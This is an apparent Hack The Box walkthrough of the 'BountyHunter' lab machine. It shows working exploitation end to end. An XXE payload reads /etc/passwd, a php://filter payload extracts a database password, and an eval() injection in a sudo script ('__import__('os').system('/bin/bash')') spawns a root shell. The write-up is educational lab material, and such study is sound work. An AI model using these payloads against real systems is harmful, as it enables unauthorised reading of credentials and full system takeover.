Home HTB BountyHunter
Post
Cancel

HTB BountyHunter

Notes

Explore

NameBountyHunter
OSLinux
RELEASE DATE24 July 2021
DIFFICULTYEasy

Port Scan

IP:10.10.11.100

1
2
3
4
5
6
7
8
9
10
11
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 d4:4c:f5:79:9a:79:a3:b0:f1:66:25:52:c9:53:1f:e1 (RSA)
|   256 a2:1e:67:61:8d:2f:7a:37:a7:ba:3b:51:08:e8:89:a6 (ECDSA)
|_  256 a5:75:16:d9:69:58:50:4a:14:11:7a:42:c1:b6:23:44 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Bounty Hunters
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Port 22

Low attack surface so I’ll skip to port 80

Port 80

The first thing I did was start some recon with ffuf. (note db.php will come into play later)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
┌──(root💀kali)-[~/htb/bountyhunter]
└─# ffuf -w /opt/SecLists/Discovery/Web-Content/raft-medium-directories.txt -u http://10.10.11.100/FUZZ -t 200 -c -e .php                                                                 1 ⨯
                                                                                               
        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/                                                        
                                                                                               
       v1.3.1 Kali Exclusive <3
________________________________________________                      
                                                                                               
 :: Method           : GET                                                                     
 :: URL              : http://10.10.11.100/FUZZ                   
 :: Wordlist         : FUZZ: /opt/SecLists/Discovery/Web-Content/raft-medium-directories.txt
 :: Extensions       : .php                                                                    
 :: Follow redirects : false                                                                   
 :: Calibration      : false                                                                   
 :: Timeout          : 10                                                                      
 :: Threads          : 200                                                                     
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405                       
________________________________________________

db.php                  [Status: 200, Size: 0, Words: 1, Lines: 1]
resources               [Status: 301, Size: 316, Words: 20, Lines: 10]
index.php               [Status: 200, Size: 25169, Words: 10028, Lines: 389]
portal.php              [Status: 200, Size: 125, Words: 11, Lines: 6]
css                     [Status: 301, Size: 310, Words: 20, Lines: 10]

Looking inside /resources there was a readme

1
2
3
4
5
6
Tasks:

[ ] Disable 'test' account on portal and switch to hashed password. Disable nopass.
[X] Write tracker submit script
[ ] Connect tracker submit script to the database
[X] Fix developer group permissions

Going to /portal.php we can see that it is under development and we get send to a bounty tracker /log_submit.php after filling out the form I decide to intercept it in burp. It looks like the data is being base64 encoded

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /tracker_diRbPr00f314.php HTTP/1.1
Host: 10.10.11.100
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 207
Origin: http://10.10.11.100
Connection: close
Referer: http://10.10.11.100/log_submit.php

data=PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KCQk8YnVncmVwb3J0PgoJCTx0aXRsZT4xPC90aXRsZT4KCQk8Y3dlPjE8L2N3ZT4KCQk8Y3Zzcz4xPC9jdnNzPgoJCTxyZXdhcmQ%2BMTwvcmV3YXJkPgoJCTwvYnVncmVwb3J0Pg%3D%3D

After decoding it it looks like it is xml

1
2
3
4
5
6
7
8
9
┌──(root💀kali)-[~/htb/bountyhunter]
└─# echo -n PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KCQk8YnVncmVwb3J0PgoJCTx0aXRsZT4xPC90aXRsZT4KCQk8Y3dlPjE8L2N3ZT4KCQk8Y3Zzcz4xPC9jdnNzPgoJCTxyZXdhcmQ%2BMTwvcmV3YXJkPgoJCTwvYnVncmVwb3J0Pg | base64 -d 
<?xml  version="1.0" encoding="ISO-8859-1"?>
                <bugreport>
                <title>1</title>
                <cwe>1</cwe>
                <cvss>1</cvss>
                <rewardbase64: invalid input

I thought that there might be some way to insert a payload so I googled “XML payloads” and I found a github repo with lots of them https://github.com/payloadbox/xxe-injection-payload-list. The one we want is “XXE: Local File Inclusion”

1
2
3
4
5
6
7
8
9
<?xml  version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE data [
<!ENTITY file SYSTEM "file:///etc/passwd"> ]>
<bugreport>
<title>test</title>
<cwe>test</cwe>
<cvss>test</cvss>
<reward>&file;</reward>
</bugreport>

Then we base64 encode it and I got: PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KPCFET0NUWVBFIGRhdGEgWwo8IUVOVElUWSBmaWxlIFNZU1RFTSAiZmlsZTovLy9ldGMvcGFzc3dkIj4gXT4KPGJ1Z3JlcG9ydD4KPHRpdGxlPnRlc3Q8L3RpdGxlPgo8Y3dlPnRlc3Q8L2N3ZT4KPGN2c3M+dGVzdDwvY3Zzcz4KPHJld2FyZD4mZmlsZTs8L3Jld2FyZD4KPC9idWdyZXBvcnQ+

Then I put in the base64 encoded string into data= and it returned the /etc/passwd file. (make sure to url encode) BountyHunter

Response BountyHunter

Now we can use the file inclusion to read the db.php file we discovered before. Because PHP is a server side language we cant read db.php. The server parses the contents and the if there is a output it will send it to the server.

To understand this better, here is the complete process of what happens when you go to the following php url http://10.10.11.100/db.php

  • The browser sends the request to the web server.
  • The web server parses the php script
  • The server executes the contents of the script.
  • After execution, it send a response to our browser.
    • In the case of db.php there is no output

Simply put our browsers can only render HTML, CSS and JavaScript. PHP is server side

Because we now have a LFI we can use a php wrapper to get the contents of the file, base64 encode it and output it.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?xml  version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE data [
<!ENTITY file SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/db.php"> ]>
<bugreport>
<title>test</title>
<cwe>test</cwe>
<cvss>test</cvss>
<reward>&file;</reward>

BASE64
PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KPCFET0NUWVBFIGRhdGEgWwo8IUVOVElUWSBmaWxlIFNZU1RFTSAicGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWVuY29kZS9yZXNvdXJjZT0vdmFyL3d3dy9odG1sL2RiLnBocCI+IF0+CjxidWdyZXBvcnQ+Cjx0aXRsZT50ZXN0PC90aXRsZT4KPGN3ZT50ZXN0PC9jd2U+CjxjdnNzPnRlc3Q8L2N2c3M+CjxyZXdhcmQ+JmZpbGU7PC9yZXdhcmQ+CjwvYnVncmVwb3J0Pg==

URL ENCODED BASE64
PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KPCFET0NUWVBFIGRhdGEgWwo8IUVOVElUWSBmaWxlIFNZU1RFTSAicGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWVuY29kZS9yZXNvdXJjZT0vdmFyL3d3dy9odG1sL2RiLnBocCI%2bIF0%2bCjxidWdyZXBvcnQ%2bCjx0aXRsZT50ZXN0PC90aXRsZT4KPGN3ZT50ZXN0PC9jd2U%2bCjxjdnNzPnRlc3Q8L2N2c3M%2bCjxyZXdhcmQ%2bJmZpbGU7PC9yZXdhcmQ%2bCjwvYnVncmVwb3J0Pg%3d%3d

Request

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /tracker_diRbPr00f314.php HTTP/1.1
Host: 10.10.11.100
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 367
Origin: http://10.10.11.100
Connection: close
Referer: http://10.10.11.100/log_submit.php

data=PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KPCFET0NUWVBFIGRhdGEgWwo8IUVOVElUWSBmaWxlIFNZU1RFTSAicGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWVuY29kZS9yZXNvdXJjZT0vdmFyL3d3dy9odG1sL2RiLnBocCI%2bIF0%2bCjxidWdyZXBvcnQ%2bCjx0aXRsZT50ZXN0PC90aXRsZT4KPGN3ZT50ZXN0PC9jd2U%2bCjxjdnNzPnRlc3Q8L2N2c3M%2bCjxyZXdhcmQ%2bJmZpbGU7PC9yZXdhcmQ%2bCjwvYnVncmVwb3J0Pg%3d%3d

We get a response of the base64 encoded file

1
2
3
    <td>
PD9waHAKLy8gVE9ETyAtPiBJbXBsZW1lbnQgbG9naW4gc3lzdGVtIHdpdGggdGhlIGRhdGFiYXNlLgokZGJzZXJ2ZXIgPSAibG9jYWxob3N0IjsKJGRibmFtZSA9ICJib3VudHkiOwokZGJ1c2VybmFtZSA9ICJhZG1pbiI7CiRkYnBhc3N3b3JkID0gIm0xOVJvQVUwaFA0MUExc1RzcTZLIjsKJHRlc3R1c2VyID0gInRlc3QiOwo/Pgo=
	</td>

We can decode it and fine a database username and password

1
2
3
4
5
6
7
8
9
10
┌──(root💀kali)-[~/htb/bountyhunter]
└─# echo -n 'PD9waHAKLy8gVE9ETyAtPiBJbXBsZW1lbnQgbG9naW4gc3lzdGVtIHdpdGggdGhlIGRhdGFiYXNlLgokZGJzZXJ2ZXIgPSAibG9jYWxob3N0IjsKJGRibmFtZSA9ICJib3VudHkiOwokZGJ1c2VybmFtZSA9ICJhZG1pbiI7CiRkYnBhc3N3b3JkID0gIm0xOVJvQVUwaFA0MUExc1RzcTZLIjsKJHRlc3R1c2VyID0gInRlc3QiOwo/Pgo=' | base64 -d
<?php
// TODO -> Implement login system with the database.
$dbserver = "localhost";
$dbname = "bounty";
$dbusername = "admin";
$dbpassword = "m19RoAU0hP41A1sTsq6K";
$testuser = "test";
?>

Looking back at the /etc/passwd we learned that there was one user called “development” so lets try using the password to log in via ssh

1
2
3
4
┌──(root💀kali)-[~/htb/bountyhunter]
└─# ssh development@10.10.11.100                                                                                                                                                        130 ⨯
development@10.10.11.100's password: 
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-80-generic x86_64)

Root

The first thing I did was run sudo -l and I found I could run sudo for a custom script

1
 (root) NOPASSWD: /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py

Lets take a look. I broke it down inline

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
development@bountyhunter:~$ cat /opt/skytrain_inc/ticketValidator.py
#This function will check if the provided files is a .md 
def load_file(loc):
    if loc.endswith(".md"):
        return open(loc, 'r')
    else:
        print("Wrong file type.")
        exit()

#This function will Ceck if the first 3 lines if they contain a string 
#1. "# Skytrain Inc" 
#2. "## Ticket to " 
#3. "__Ticket Code:__". 
def evaluate(ticketFile):
    #Evaluates a ticket to check for ireggularities.
    code_line = None
    for i,x in enumerate(ticketFile.readlines()):
        if i == 0:
            if not x.startswith("# Skytrain Inc"):
                return False
            continue
        if i == 1:
            if not x.startswith("## Ticket to "):
                return False
            print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")
            continue

        if x.startswith("__Ticket Code:__"):
            code_line = i+1
            continue

#This is where the priv esc is. 
#If all the above checks pass it will take our number provided in the 4th line and remove "**" turning ""**11+"" into "11".
#Then it will evaluate if 11 divided by 7 has a remainder of 4 (it does)
#Because it has a remainder of 4 it will set a variable called "validationNumber" and run "eval()". Evail is a dangerous function
#The eval() function takes strings and executes them as code, for example eval('2+2') would return 4, we can use this to execute arbitray code on the system
        if code_line and i == code_line:
            if not x.startswith("**"):
                return False
            ticketCode = x.replace("**", "").split("+")[0]
            if int(ticketCode) % 7 == 4:
                validationNumber = eval(x.replace("**", ""))
                if validationNumber > 100:
                    return True
                else:
                    return False
    return False

def main():
    fileName = input("Please enter the path to the ticket file.\n")
    ticket = load_file(fileName)
    #DEBUG print(ticket)
    result = evaluate(ticket)
    if (result):
        print("Valid ticket.")
    else:
        print("Invalid ticket.")
    ticket.close

main()

Now that we understand the requirements we can create a ticket. The last line will evaluate 11 + 1 == 12 and spawn a shell. (read the notes in the code above). This works because eval() lets us execute arbitrary code. We could have it print a string or do more math, but in this case just spawn a shell as root (because its running as root) root.md

1
2
3
4
 # Skytrain Inc
 ## Ticket to 
 __Ticket Code:__
**11+ 1 == 12 and __import__('os').system('/bin/bash')

Execution

1
2
3
4
5
6
7
development@bountyhunter:/tmp$ sudo /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
Please enter the path to the ticket file.
root.md
Destination: 
root@bountyhunter:/tmp# id
uid=0(root) gid=0(root) groups=0(root)

This post is licensed under CC BY 4.0 by the author.